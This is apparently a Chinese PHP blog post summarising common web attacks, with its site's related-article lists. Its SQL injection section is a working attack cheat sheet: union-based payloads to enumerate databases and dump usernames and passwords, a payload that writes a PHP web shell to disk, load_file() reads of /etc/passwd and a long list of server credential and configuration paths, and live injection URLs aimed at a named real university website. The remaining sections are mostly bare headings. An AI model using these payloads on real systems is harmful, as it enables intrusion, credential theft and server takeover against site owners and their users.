PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
层叠菜单的动态生成
Oct 09 PHP
PHP4实际应用经验篇(8)
Oct 09 PHP
中国站长站 For Dede4.0 采集规则
May 27 PHP
PHP中ADODB类详解
Mar 25 PHP
php获取文章上一页与下一页的方法
Dec 01 PHP
通过Email发送PHP错误的方法
Jul 20 PHP
php中array_unshift()修改数组key注意事项分析
May 16 PHP
浅谈PHP链表数据结构(单链表)
Jun 08 PHP
Yii净化器CHtmlPurifier用法示例(过滤不良代码)
Jul 15 PHP
CentOS 上搭建 PHP7 开发测试环境
Feb 26 PHP
使用WAMP搭建PHP本地开发环境
May 10 PHP
PHPMAILER实现PHP发邮件功能
Apr 18 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
关于PHP中操作MySQL数据库的一些要注意的问题
2006/10/09 PHP
修改Zend引擎实现PHP源码加密的原理及实践
2008/04/14 PHP
php smarty模版引擎中的缓存应用
2009/12/02 PHP
约瑟夫环问题的PHP实现 使用PHP数组内部指针操作函数
2010/10/12 PHP
细谈php中SQL注入攻击与XSS攻击
2012/06/10 PHP
php 下载保存文件保存到本地的两种实现方法
2013/08/12 PHP
PHP函数之日期时间函数date()使用详解
2013/09/09 PHP
PHP mail()函数使用及配置方法
2014/01/14 PHP
程序员的表白神器“520”大声喊出来
2016/05/20 PHP
PHP精确计算功能示例
2016/11/29 PHP
php rsa 加密,解密,签名,验签详解
2016/12/06 PHP
使用javascript实现ListBox左右全选,单选,多选,全请
2013/11/07 Javascript
JavaScript定义类的几种方式总结
2014/01/06 Javascript
request请求获取参数的实现方法(post和get两种方式)
2016/09/27 Javascript
jQuery实现圣诞节礼物传送(花式轮播)
2016/12/25 Javascript
js实现日期显示的一些操作(实例讲解)
2017/07/27 Javascript
JavaScript中各数制转换全面总结
2017/08/21 Javascript
vue2.0 路由不显示router-view的解决方法
2018/03/06 Javascript
jQuery实现的简单拖拽功能示例【测试可用】
2018/08/14 jQuery
解决layui table表单提示数据接口请求异常的问题
2019/09/24 Javascript
基于js实现逐步显示文字输出代码实例
2020/04/02 Javascript
elementui实现预览图片组件二次封装
2020/12/29 Javascript
[41:52]2018DOTA2亚洲邀请赛3月29日 小组赛A组 TNC VS OpTic
2018/03/30 DOTA
python打印9宫格、25宫格等奇数格 满足横竖斜相加和相等
2019/07/19 Python
Django实现基于类的分页功能
2019/10/31 Python
对django 2.x版本中models.ForeignKey()外键说明介绍
2020/03/30 Python
Python爬虫爬取有道实现翻译功能
2020/11/27 Python
HTML5 和小程序实现拍照图片旋转、压缩和上传功能
2018/10/08 HTML / CSS
Big Green Smile法国:领先的英国有机和天然产品在线商店
2021/01/02 全球购物
个人收入证明范本
2014/01/12 职场文书
《赵州桥》教学反思
2014/02/17 职场文书
公司财务流程之主管工作流程
2014/03/03 职场文书
男性健康日的活动方案
2014/08/18 职场文书
高校教师个人工作总结2014
2014/12/17 职场文书
安全教育主题班会教案
2015/08/12 职场文书
Spring Cloud OpenFeign模版化客户端
2022/06/25 Java/Android